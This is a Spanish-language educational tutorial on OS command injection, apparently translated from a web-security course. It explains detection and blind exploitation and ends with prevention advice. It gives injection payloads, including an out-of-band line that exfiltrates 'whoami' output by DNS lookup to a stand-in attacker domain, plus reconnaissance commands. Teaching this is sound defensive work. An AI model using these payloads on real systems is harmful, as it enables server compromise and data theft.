Inyección de comandos del sistema operativo

En esta sección, explicaremos qué es la inyección de comandos del sistema operativo, describiremos cómo se pueden detectar y explotar vulnerabilidades, explicaremos algunos comandos y técnicas útiles para diferentes sistemas operativos y resumiremos cómo evitar la inyección de comandos del sistema operativo.

 Inyección de comandos del sistema operativo

¿Qué es la inyección de comandos del sistema operativo?

La inyección de comandos del sistema operativo (también conocida como inyección de shell) es una vulnerabilidad de seguridad web que permite a un atacante ejecutar comandos arbitrarios del sistema operativo (SO) en el servidor que ejecuta una aplicación y, por lo general, comprometer completamente la aplicación y todos sus datos. Muy a menudo, un atacante puede aprovechar una vulnerabilidad de inyección de comandos del sistema operativo para comprometer otras partes de la infraestructura de alojamiento, explotando las relaciones de confianza para dirigir el ataque a otros sistemas dentro de la organización.

Ejecutar comandos arbitrarios

Considere una aplicación de compras que le permita al usuario ver si un artículo está en stock en una tienda en particular. Se accede a esta información a través de una URL como:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Para proporcionar la información de stock, la aplicación debe consultar varios sistemas heredados. Por razones históricas, la funcionalidad se implementa llamando a un comando de shell con los ID de producto y tienda como argumentos:

stockreport.pl 381 29

Este comando muestra el estado de stock del elemento especificado, que se devuelve al usuario.

Dado que la aplicación no implementa defensas contra la inyección de comandos del sistema operativo, un atacante puede enviar la siguiente entrada para ejecutar un comando arbitrario:

& echo aiwefwlguh &

Si esta entrada se envía en el parámetro productID, el comando ejecutado por la aplicación es:

stockreport.pl & echo aiwefwlguh & 29

El comando echo simplemente hace que la cadena suministrada se haga eco en la salida, y es una forma útil de probar algunos tipos de inyección de comandos del sistema operativo. El carácter & es un separador de comandos de shell, por lo que lo que se ejecuta en realidad son tres comandos separados uno tras otro. Como resultado, la salida devuelta al usuario es:

Error - productID was not provided
aiwefwlguh
29: command not found

Las tres líneas de salida demuestran que:

  • El comando stockreport.pl original se ejecutó sin los argumentos esperados, por lo que devolvió un mensaje de error.
  • Se ejecutó el comando inyectado echo, y la cadena suministrada se hizo eco en la salida.
  • El argumento original 29 se ejecutó como un comando, lo que causó un error.

Colocar el separador de comandos adicional & después del comando inyectado es generalmente útil porque separa el comando inyectado de lo que sigue al punto de inyección. Esto reduce la probabilidad de que lo que sigue impida la ejecución del comando inyectado.

Comandos útiles

Cuando ha identificado una vulnerabilidad de inyección de comandos del sistema operativo, generalmente es útil ejecutar algunos comandos iniciales para obtener información sobre el sistema que ha comprometido. A continuación se muestra un resumen de algunos comandos que son útiles en plataformas Linux y Windows:

Propósito de comando Linux Windows
Nombre de usuario actual whoami whoami
sistema Operativo uname -a ver
la configuración de la Red ifconfig ipconfig /all
conexiones de Red netstat -an netstat -an
la Ejecución de los procesos ps -ef tasklist

Ciego de comandos de OS vulnerabilidades de inyección

Muchas instancias de inyección de comandos del sistema operativo son vulnerabilidades ciegas. Esto significa que la aplicación no devuelve el resultado del comando dentro de su respuesta HTTP. Las vulnerabilidades ciegas todavía se pueden explotar, pero se requieren diferentes técnicas.

Considere un sitio web que permita a los usuarios enviar comentarios sobre el sitio. El usuario introduce su dirección de correo electrónico y mensaje de comentarios. La aplicación del lado del servidor genera un correo electrónico a un administrador del sitio que contiene los comentarios. Para hacer esto, llama al programa mail con los detalles enviados. Por ejemplo:

mail -s "This site is great" -aFrom:[email protected] [email protected]

La salida del comando mail (si la hay) no se devuelve en las respuestas de la aplicación, por lo que usar la carga útil echo no sería efectivo. En esta situación, puede usar una variedad de otras técnicas para detectar y explotar una vulnerabilidad.

Detección de inyección de comandos de SO ciegos mediante retardos de tiempo

Puede usar un comando inyectado que activará un retardo de tiempo, lo que le permite confirmar que el comando se ejecutó en función del tiempo que tarda la aplicación en responder. El comando ping es una forma efectiva de hacer esto, ya que le permite especificar el número de paquetes ICMP a enviar y, por lo tanto, el tiempo que tarda en ejecutarse el comando:

& ping -c 10 127.0.0.1 &

Este comando hará que la aplicación haga ping a su adaptador de red de bucle invertido durante 10 segundos.

Explotar la inyección de comandos de SO ciego redirigiendo la salida

Puede redirigir la salida del comando inyectado a un archivo dentro de la raíz web que luego puede recuperar usando su navegador. Por ejemplo, si la aplicación sirve recursos estáticos desde la ubicación del sistema de archivos /var/www/static, puede enviar la siguiente entrada:

& whoami > /var/www/static/whoami.txt &

El carácter > envía la salida del comando whoami al archivo especificado. A continuación, puede usar su navegador para obtener https://vulnerable-website.com/whoami.txt para recuperar el archivo y ver el resultado del comando inyectado.

Explotar la inyección de comandos de SO ciego mediante técnicas fuera de banda (OAST)

Puede usar un comando inyectado que activará una interacción de red fuera de banda con un sistema que controle, utilizando técnicas de OAST. Por ejemplo:

& nslookup kgji2ohoyw.web-attacker.com &

Esta carga utiliza el comando nslookup para provocar una búsqueda de DNS para el dominio especificado. El atacante puede monitorear la ocurrencia de la búsqueda especificada y, por lo tanto, detectar que el comando se inyectó correctamente.

El canal fuera de banda también proporciona una forma fácil de exfiltrar la salida de los comandos inyectados:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Esto provocará una búsqueda DNS en el dominio del atacante que contiene el resultado del comando whoami :

wwwuser.kgji2ohoyw.web-attacker.com

Formas de inyectar comandos de sistema operativo

Se pueden usar una variedad de metacaracteres de shell para realizar ataques de inyección de comandos de sistema operativo.

Una serie de caracteres funcionan como separadores de comandos, permitiendo que los comandos se encadenen entre sí. Los siguientes separadores de comandos funcionan tanto en sistemas basados en Windows como en Unix:

  • &
  • &&
  • |
  • ||

Los siguientes separadores de comandos solo funcionan en sistemas basados en Unix:

  • ;
  • Nueva línea (0x0a o \n)

En sistemas basados en Unix, también puede usar retroiluminación o el carácter dólar para realizar la ejecución en línea de un comando inyectado dentro del comando original:

  • ` comando inyectado`
  • $( comando inyectado)

Tenga en cuenta que los diferentes metacaracteres del shell tienen comportamientos sutilmente diferentes que podrían afectar si funcionan en ciertas situaciones, y si permiten la recuperación en banda de la salida de comandos o son útiles solo para la explotación ciega.

A veces, la entrada que controla aparece entre comillas en el comando original. En esta situación, debe terminar el contexto entre comillas (usando " o ') antes de usar metacaracteres de shell adecuados para inyectar un nuevo comando.

Cómo prevenir ataques de inyección de comandos del sistema operativo

La forma más eficaz de prevenir vulnerabilidades de inyección de comandos del sistema operativo es nunca llamar a comandos del sistema operativo desde el código de la capa de aplicación. En prácticamente todos los casos, existen formas alternativas de implementar la funcionalidad requerida mediante API de plataforma más seguras.

Si se considera inevitable llamar a comandos del sistema operativo con entrada suministrada por el usuario, se debe realizar una validación de entrada sólida. Algunos ejemplos de validación efectiva incluyen:

  • Validación con una lista blanca de valores permitidos.
  • Validando que la entrada es un número.
  • Validando que la entrada contenga solo caracteres alfanuméricos, sin otra sintaxis ni espacios en blanco.

Nunca intente desinfectar la entrada escapando metacaracteres de shell. En la práctica, esto es demasiado propenso a errores y vulnerable a ser eludido por un atacante experto.

You might also like

Deja una respuesta

Tu dirección de correo electrónico no será publicada.